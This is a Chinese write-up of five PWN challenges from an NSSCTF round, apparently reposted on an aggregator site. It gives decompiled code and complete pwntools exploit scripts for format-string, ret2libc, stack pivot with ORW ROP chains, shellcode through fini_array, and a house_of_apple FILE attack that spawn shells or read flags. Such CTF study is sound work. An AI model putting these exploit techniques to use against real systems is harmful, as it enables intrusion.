[Round#14 Illuminate with your bril]

news2024/11/17 23:55:53

 

周末NSS的PWN专题,只作了3个,结束后跟NSS的师傅聊,对方确认了第4题的作法,重作成功。第5题看师傅的WP复现成功。

love

主函数给了个printf,这里可以得到所有地址,并且要求把v4,v5改相等

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 v4; // [rsp+8h] [rbp-48h] BYREF
  __int64 v5; // [rsp+10h] [rbp-40h]
  __int64 *v6; // [rsp+18h] [rbp-38h]
  pthread_t newthread[6]; // [rsp+20h] [rbp-30h] BYREF

  newthread[5] = __readfsqword(0x28u);
  init(argc, argv, envp);
  v4 = 555LL;
  v5 = 520LL;
  v6 = &v4;
  puts("I want to hear your praise of Toka\n");
  read(0, buf, 0x40uLL);
  printf(buf);
  if ( v5 == v4 )
  {
    pthread_create(newthread, 0LL, vuln, 0LL);
    pthread_join(newthread[0], 0LL);
  }
  else
  {
    puts("Obviously, you don't love him");
  }
  return 0;
}

成功后会进入子进程,有个gets的溢出

void *__fastcall vuln(void *a1)
{
  char v2[40]; // [rsp+0h] [rbp-30h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("I know you like him, but you must pass my level\n");
  gets(v2);
  return 0LL;
}

先利用printf得到需要的地址,由于栈里有一个指向v4的指针,所以可以利用它来改v4

先用个pay得到相关的偏移

pay = b'%6$p,%7$p,%8$p,%9$p,%10$p,%11$p,%12$p,%13$p,%14$p,%15$p,%16$p,%17$p'
#       7v4 8v5      9 v6            10           11    12     13        14              15
#0xc2,0x22b,0x208,0x7fffffffde58,0x7ffff7fa32e8,0x401390,(nil),0x401130,0x7fffffffdf90,0xd9ac603b8d1ef800

后边就是传统的泄露和system了

from pwn import *

#p = process('./pwn')
p = remote('node1.anna.nssctf.cn', 28591)
context(arch='amd64', log_level='debug')

elf = ELF('./pwn')
libc = ELF('./libc.so.6')

pay = b'%520c%9$lln,,%15$p,'
p.sendafter(b"I want to hear your praise of Toka\n\n", pay)

p.recvuntil(b',,')
canary = int(p.recvuntil(b',', drop = True)  ,16)

print(f"{canary = :x}")

pop_rdi = 0x00000000004013f3 # pop rdi ; ret
vuln = 0x40125d

pay = b'A'*40 + flat(canary, 0x404800, pop_rdi, elf.got['puts'], elf.plt['puts'], vuln)
p.sendlineafter(b"I know you like him, but you must pass my level\n\n", pay)

libc.address = u64(p.recv(6).ljust(8, b'\x00')) - libc.sym['puts']
print(f"{libc.address = :x}")

pay = b'A'*40 + flat(canary, 0x404800, pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh')) , libc.sym['system'], vuln)
p.sendlineafter(b"I know you like him, but you must pass my level\n\n", pay)

p.interactive()

rbp

在main里调用的sandbox禁用了execve, 在vuln里有个溢出但只溢出到rbp+ret

int __cdecl main(int argc, const char **argv, const char **envp)
{
  init();                                       // 禁用exec
  puts("read is important");
  vuln();
  return 0;
}
__int64 vuln()
{
  char buf[524]; // [rsp+0h] [rbp-210h] BYREF
  int v2; // [rsp+20Ch] [rbp-4h]

  v2 = 2;
  puts("try it");
  read(0, buf, 0x220uLL);
  puts(buf);
  return 0LL;
}

题目PIE没开,所以

第1步到移栈到bss里这里的地址是已知的。

第2次直接用leave_ret,移栈到前部执行泄露并回到vuln

在vuln读入pay后,再直接用leave_ret到前部执行ORW

from pwn import *

#p = process('./rbp')
p = remote('node3.anna.nssctf.cn', 28784)
context(arch='amd64', log_level='debug')

elf = ELF('./rbp')
libc = ELF('./libc.so.6')

vuln = 0x40127f
pop_rdi = 0x0000000000401353 # pop rdi ; ret
pop_rsi_r15 = 0x0000000000401351 # pop rsi ; pop r15 ; ret
bss = 0x404800
leave_ret = 0x4012bf

#1
pay = b'\x00'*0x210 + flat(0x404800, vuln)
p.sendafter(b"try it\n", pay)

#2
pay = flat(bss+0x300, pop_rdi, elf.got['puts'], elf.plt['puts'], vuln).ljust(0x210, b'\x00') + flat(bss-0x210, leave_ret)
p.sendafter(b"try it\n", pay)
p.recvline()

libc.address = u64(p.recv(6).ljust(8, b'\x00')) - libc.sym['puts']
print(f"{libc.address = :x}")

pop_rsi = libc.address + 0x000000000002601f # pop rsi ; ret next(libc.search(asm('pop rsi;ret')))
pop_rdx = libc.address + 0x0000000000142c92 # pop rdx ; ret next(libc.search(asm('pop rdx;ret')))
syscall = next(libc.search(asm('syscall;ret')))

#3
pay = flat([b'./flag\x00\x00', pop_rdi, bss+0x300-0x210, pop_rsi,0, libc.sym['open'], 
                                  pop_rdi,3,  pop_rsi, bss, pop_rdx, 0x50, libc.sym['read'],
                                  pop_rdi, bss, elf.plt['puts']
           ]).ljust(0x210, b'\x00') + flat(bss-0x210+0x300, leave_ret)
p.sendafter(b"try it\n", pay)
p.recvline()

print(p.recvline())
p.interactive()

xor

程序会读入一个地址,并向这个地址定异或1个字节

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [rsp+7h] [rbp-9h] BYREF
  _BYTE *v5; // [rsp+8h] [rbp-8h] BYREF

  init();
  while ( flag <= 0 )
  {
    printf("addr: ");
    __isoc99_scanf("%p", &v5);
    printf("value: ");
    __isoc99_scanf(" %hhx", &v4);
    xorByteWithAddress(v5, v4);
  }
  return 0;
}

__int64 __fastcall xorByteWithAddress(_BYTE *a1, char a2)
{
  *a1 ^= a2;
  return (unsigned int)++flag;
}

第1步是把flag的高位写成0xff这样变成负数就不会退出

第2步本来想改got表,但发现这里是rwx的块,所以直接在fini_array写指针+shellcode

最后把第1步写的ff异或掉,退出时会调用fini_array里的函数得到shell

from pwn import *

#p = process('./pwn')
p = remote('node1.anna.nssctf.cn', 28717)
context(arch='amd64', log_level='debug')

elf = ELF('./pwn')
libc = ELF('./libc.so.6')


def write(addr ,v):
    p.sendlineafter(b"addr: ", hex(addr)[2:].encode())
    p.sendlineafter(b"value: ", hex(v)[2:].encode())

#gdb.attach(p, "b*0x400743\nc")

#600bcc flag
write(0x600bcc+3, 0xff)

#shellcode写到rwx段
v = asm(shellcraft.sh())
for i,k in enumerate(v):
    if k != 0:
        write(0x600d00+i, k)

#修改fini指向shellcode
fini = 0x600970
v = p32(0x600d00 ^ 0x400610)
for i,k in enumerate(v):
    if k != 0:
        write(fini+i, k)

write(0x600bcc+3, 0xff)

p.interactive()

read_file

后边这两题没完成,赛后问了一下,说是覆盖文件标识fild_id看来方向没错,接着弄,终于完成。

程序有打开文件和读文件两个功能。打开文件时发现有flag就会退出。但由于scanf(%8s)会在输入8个字符后将后边相邻的fild_id用\0覆盖。后边在读文件时由于fild_id=0会从标记输入读入。

int load_file()
{
  int result; // eax

  printf("file_name : ");
  __isoc99_scanf("%8s", file_name);
  if ( strstr(file_name, "flag") )
    return puts("No permission !");
  file_fd = open(file_name, 0, 0LL);
  if ( file_fd < 0 )
    return puts("File opening failed !");
  result = puts("File opened successfully !");
  file_flag = 1;
  return result;
}

在readfile时当输入的数小于55时会有溢出

int read_file()
{
  unsigned __int64 v1; // rax
  void *v2; // rsp
  __int64 savedregs; // [rsp+8h] [rbp+0h] BYREF

  if ( !file_flag )
    return puts("Please open the file first ");
  printf("file_content_length : ");
  __isoc99_scanf("%d", &content_size);
  v1 = 16 * ((content_size + 23LL) / 0x10uLL);
  while ( &savedregs != (__int64 *)((char *)&savedregs - (v1 & 0xFFFFFFFFFFFFF000LL)) )
    ;
  v2 = alloca(v1 & 0xFFF);
  if ( (v1 & 0xFFF) != 0 )
    *(__int64 *)((char *)&savedregs + (v1 & 0xFFF) - 8) = *(__int64 *)((char *)&savedregs + (v1 & 0xFFF) - 8);
  file_content = &savedregs;
  if ( content_size > 55 )
  {
    read(file_fd, file_content, content_size);
  }
  else
  {
    puts("It's too small. Here's a gift for you, read more ");
    read(file_fd, file_content, content_size + 0x38);
  }
  return printf("file_content : %s\n", (const char *)file_content);
}

这个题有没pop xxx所以只能用程序里的段取代。

先随便输入个东西打开文件,然后再进入输入带flag的8字节覆盖fild_id再进来输入个flag

第1段用0x401493这里打开文件 

第2段用0x4015f0直接读然后输出

 

from pwn import *

p = process('./pwn')
#p = remote('node1.anna.nssctf.cn', 28717)
context(arch='amd64', log_level='debug')

elf = ELF('./pwn')
libc = ELF('./libc.so.6')

def load_file(name):
    p.sendlineafter(b">> ", b'1')
    p.sendlineafter(b"file_name : ", name)

def read_file(size, msg):
    p.sendlineafter(b">> ", b'2')
    p.sendlineafter(b"file_content_length : ", str(size).encode())
    p.sendafter(b"It's too small. Here's a gift for you, read more ", msg)

#gdb.attach(p, "b*0x40160e\nc")

load_file(b'./')        #打开文件 置状态 
load_file(b'././flag')  #file_id = 0 用串结束符\0覆盖file_id 为0
load_file(b'flag')

bss = 0x404800

pay = b'A'*0x40 + flat(bss, 0x401493, bss, 0x4015f0)  #load_file read_file
read_file(55, pay)

p.interactive()

 note

这个拿到WP也没完成,后来发现ASLR如果关闭就不成,什么原因不清楚。

并且这题用的是libc-2.35-0u3.1这个版本已经没有hook了。

有三个函数add,show,edit

其中show的指针是unsign int不能前溢出,add,edit都可以前溢出,并且add的可多写8字节

建块可id <=7 并且有 size检查,edit在运行后会exit

 思路分两部分,前边通过建块将top_chunk的头改小,然后建大块让top_chunk进行到largbin,然后再在largbin建小点的块利用残留得到libc。

由于后边要前溢出写stdout(偏移-8)所以要建个块在4的位置,让edit时使用这个指针作为size.

第2部分利用前溢出修改stdout,这块只能用板子,自己是不会的。说是house_of_apple

from pwn import *

p = process('./pwn')
#p = remote('node1.anna.nssctf.cn', 28717)
context(arch='amd64', log_level='debug')

elf = ELF('./pwn')
libc = ELF('./libc.so.6')

def add(idx, size, msg):
    p.sendlineafter(b"choice: ", b'1')
    p.sendlineafter(b"idx: ", str(idx).encode())
    p.sendlineafter(b"size: ", str(size).encode())
    p.sendafter(b"content: ", msg)

def show(idx):
    p.sendlineafter(b"choice: ", b'2')
    p.sendlineafter(b"idx: ", str(idx).encode())

def edit(idx,msg):
    p.sendlineafter(b"choice: ", b'4')
    p.sendlineafter(b"idx: ", str(idx).encode())
    p.sendafter(b"content: ", msg)

add(4, 0x108, b'A'*0x108 + p64(0xf51))
add(1, 0x1000, b'A')
add(2, 0x108, b'A'*8)
show(2)
p.recvuntil(b'A'*8)

libc.address  = u64(p.recvline().rstrip().ljust(8, b'\x00')) - 0x21a2f0
print(f"{libc.address = :x}")

pop_rbp     = libc.address + 0x000000000002a2e0 # pop rbp ; ret 
pop_rdi     = libc.address + 0x000000000002a3e5 # pop rdi ; ret 
pop_rsi     = libc.address + 0x000000000002be51 # pop rsi ; ret 
pop_rdx_r12 = libc.address + 0x000000000011f497 # pop rdx ; pop r12 ; ret 
leave_ret   = libc.address + 0x00000000000562ec # leave ; ret 

standard_FILE_addr = libc.sym['_IO_2_1_stdout_']
_IO_wfile_jumps_addr = libc.sym["_IO_wfile_jumps"]

#0x7ffff7e1a850 <_IO_2_1_stdout_+208>:   0x0000000000000000      0x00007ffff7e16600  <-- 0x21a860-8
#0x7ffff7e1a860: 0x00007ffff7e1a6a0      0x00007ffff7e1a780

fake_rbp = libc.address + 0x21a860-8 #libc.sym['_IO_2_1_stdout_'] + 0xd8 #rop


io_file = FileStructure()
io_file.flags = 0 
io_file._IO_read_ptr = pop_rbp
io_file._IO_read_end = fake_rbp
io_file._IO_read_base = leave_ret
io_file._IO_write_base = 0
io_file._IO_write_ptr = 1
io_file.unknown2 |= (0 << 192)
io_file._lock = standard_FILE_addr-0x10
io_file.chain = leave_ret
io_file._codecvt = standard_FILE_addr
io_file._wide_data = standard_FILE_addr - 0x48
io_file.vtable = _IO_wfile_jumps_addr


flag = fake_rbp + 0xb0   #flag地址
payload = bytes(io_file)
payload += flat([pop_rdi, flag, pop_rsi, 0, libc.sym['open'],
           pop_rdi, 3, pop_rsi, flag, pop_rdx_r12, 0x50,0, libc.sym['read'],
           pop_rdi, 1, pop_rsi, flag, pop_rdx_r12, 0x50,0, libc.sym['write']
           ])
payload += b"flag\x00"

edit(-8,payload)

print(p.recv(0x50))
#p.interacitve()

#ASLR关闭后,无法成功

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/814142.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Linux 版本的 Abyss Locker 勒索软件针对 VMware ESXi 服务器

Abyss Locker 是最新开发的 Linux 加密器&#xff0c;旨在针对 VMware 的 ESXi 虚拟机平台对企业进行攻击。 随着企业从单个服务器转向虚拟机以实现更好的资源管理、性能和灾难恢复&#xff0c;勒索软件团伙创建了专注于针对该平台的加密器。 随着 VMware ESXi 成为最流行的虚…

UE5 摄像机与NPC重叠阻挡导致视角闪现的解决方法

文章目录 前言问题背景问题剖析摄像机碰撞分析解决方法总结前言 本文基于虚幻5.2.1版本,对摄像机与NPC重叠阻挡导致视角闪现提供一个解决方案,并深入讲解摄像机碰撞原理,提升大家的思维与解决问题的能力。 问题背景 当我们被NPC攻击或者NPC介于摄像机与玩家之间导致摄像机…

小研究 - JVM GC 对 IMS HSS 延迟分析(二)

用户归属服务器&#xff08;IMS HSS&#xff09;是下一代通信网&#xff08;NGN&#xff09;核心网络 IP 多媒体子系统&#xff08;IMS&#xff09;中的主要用户数据库。IMS HSS 中存储用户的配置文件&#xff0c;可执行用户的身份验证和授权&#xff0c;并提供对呼叫控制服务器…

微服务入门---Docker

微服务入门---Docker 1.初识Docker1.1.什么是Docker1.1.1.应用部署的环境问题1.1.2.Docker解决依赖兼容问题1.1.3.Docker解决操作系统环境差异1.1.4.小结 1.2.Docker和虚拟机的区别1.3.Docker架构1.3.1.镜像和容器1.3.2.DockerHub1.3.3.Docker架构1.3.4.小结 1.4.安装Docker 2.…

Flutter环境搭建踩坑集锦

Flutter 背景准备工作先检查一下自己的电脑&#xff0c;看一下是不是满足配置要求下载安装配置环境下载安装JDK下载安装Android studio下载Flutterflutter doctor故障Android license status unknownNetwork resources 故障 后记 背景 发现一个不错的框架Flutter&#xff0c;听…

web题型

0X01 命令执行 漏洞原理 没有对用户输入的内容进行一定过滤直接传给shell_exec、system一类函数执行 看一个具体例子 cmd1|cmd2:无论cmd1是否执行成功&#xff0c;cmd2将被执行 cmd1;cmd2:无论cmd1是否执行成功&#xff0c;cmd2将被执行 cmd1&cmd2:无论cmd1是否执行成…

【C++继承】

目录 一、继承的概念及定义1.1继承的概念1.2继承的定义1.2.1定义格式1.2.2继承方式与访问限定符的组合 二、基类和派生类对象赋值转换三、继承中的作用域四、派生类的默认成员函数五、继承与友元六、继承与静态成员七、复杂的菱形继承及菱形虚拟继承八、虚拟继承的原理 一、继承…

(AcWing)满足条件的01序列

给定 n 个 0 和 n 个 1&#xff0c;它们将按照某种顺序排成长度为 2n 的序列&#xff0c;求它们能排列成的所有序列中&#xff0c;能够满足任意前缀序列中 0 的个数都不少于 1 的个数的序列有多少个。 输出的答案对 10^97 取模。 输入格式 共一行&#xff0c;包含整数 n。 …

Kotlin基础(十):函数进阶

前言 本文主要讲解kotlin函数&#xff0c;之前系列文章中提到过函数&#xff0c;本文是kotlin函数的进阶内容。 Kotlin文章列表 Kotlin文章列表: 点击此处跳转查看 目录 1.1 函数基本用法 Kotlin 是一种现代的静态类型编程语言&#xff0c;它在函数的定义和使用上有一些特点…

软考A计划-系统集成项目管理工程师-项目干系人管理-上

点击跳转专栏>Unity3D特效百例点击跳转专栏>案例项目实战源码点击跳转专栏>游戏脚本-辅助自动化点击跳转专栏>Android控件全解手册点击跳转专栏>Scratch编程案例点击跳转>软考全系列点击跳转>蓝桥系列 &#x1f449;关于作者 专注于Android/Unity和各种游…

简单易用的批量重命名工具,C++语言编写

它具备出色的文件重命名功能,能够让用户轻松对多个文件进行批量重命名操作。不论是添加前缀、后缀,还是替换文件名称中的特定字符,都能轻松完成。此外,该软件体积小巧、操作简单便捷,使用起来的效果出奇好。 MiniRenamer特色功能: 正则命名:支持正则命名规则,并可自定义…

【机器学习】Classification using Logistic Regression

Classification using Logistic Regression 1. 分类问题2. 线性回归方法3. 逻辑函数&#xff08;sigmod&#xff09;4.逻辑回归5. 决策边界5.1 数据集5.2 数据绘图5.3 逻辑回归与决策边界的刷新5.4 绘制决策边界 导入所需的库 import numpy as np %matplotlib widget import m…

【Linux】进程的认识

查看进程指令proc/ps/top 注意哦, 我们经常使用的指令, 像ls, touch…这些指令在启动之后本质上也是进程 proc 是内存文件系统, 存放着当前系统的实时进程信息. 每一个进程在系统中, 都会存在一个唯一的标识符(pid -> process id), 就如同学生在学校里有一个专门的学号一样…

Mac笔记本安装maven

Mac笔记本安装maven 一、通过brew安装maven 如果你的mac笔记本安装了homebrew可以使用如下命令安装 brew install maven安装完成后可以使用命令brew list maven来查看maven的安装位置 $ brew list maven /usr/local/Cellar/maven/3.6.3_1/bin/mvn /usr/local/Cellar/mave…

从零开始学Docker(三):DockerFile镜像定制

宿主机环境&#xff1a;RockyLinux 9 前言&#xff0c;定制docker镜像的方式有两种&#xff1a; 手动修改容器内容&#xff0c;然后docker commit提交容器为新的镜像通过在dockerfile中定义一系列的命令和参数构成的脚本&#xff0c;然后这些命令应用于基础镜像&#xff0c;依…

leetcode 面试题 0106.字符串压缩

⭐️ 题目描述 &#x1f31f; leetcode链接&#xff1a;面试题 0106.字符串压缩 思路&#xff1a; 开辟一个新的空间&#xff08;空间要大一点&#xff0c;因为可能压缩后的字符串比原字符串大&#xff09;&#xff0c;然后遍历原字符串统计当前字符的个数&#xff0c;再写入到…

使用vmd渲染并保存指定分辨率的图片

准备TCL脚本文件 # 设置渲染分辨率为1920x1080,600dpi render TachyonInternal out.tga width 1920 height 1080 dpi 600# 启用抗锯齿选项 display antialias on运行TCL 输入&#xff1a; source render.tcl使用Photoshop打开输出的out.tga文件并保存常用图片格式

【蓝桥杯备考资料】如何进入国赛?

目录 写在前面注意事项数组、字符串处理BigInteger日期问题DFS 2013年真题Java B组世纪末的星期马虎的算式振兴中华黄金连分数有理数类&#xff08;填空题&#xff09;三部排序&#xff08;填空题&#xff09;错误票据幸运数字带分数连号区间数 2014年真题蓝桥杯Java B组03猜字…

RK3568平台开发系列讲解(应用篇)输入设备应用编程

🚀返回专栏总目录 文章目录 一、输入设备介绍二、input 子系统三、读取输入设备四、按键应用编程沉淀、分享、成长,让自己和他人都能有所收获!😄 📢本篇我们将讲解输入设备应用编程。 一、输入设备介绍 输入设备是指可以接收用户输入的设备,例如键盘、鼠标、触摸屏等…

41. linux通过yum安装postgresql

文章目录 1.下载安装包2.关闭内置PostgreSQL模块:3.安装postgresql服务:4.初始化postgresql数据库:5.设置开机自启动:6.启动postgresql数据库7.查看postgresql进程8.通过netstat命令或者lsof 监听默认端口54329.使用find命令查找了一下postgresql.conf的配置位置10.修改postgre…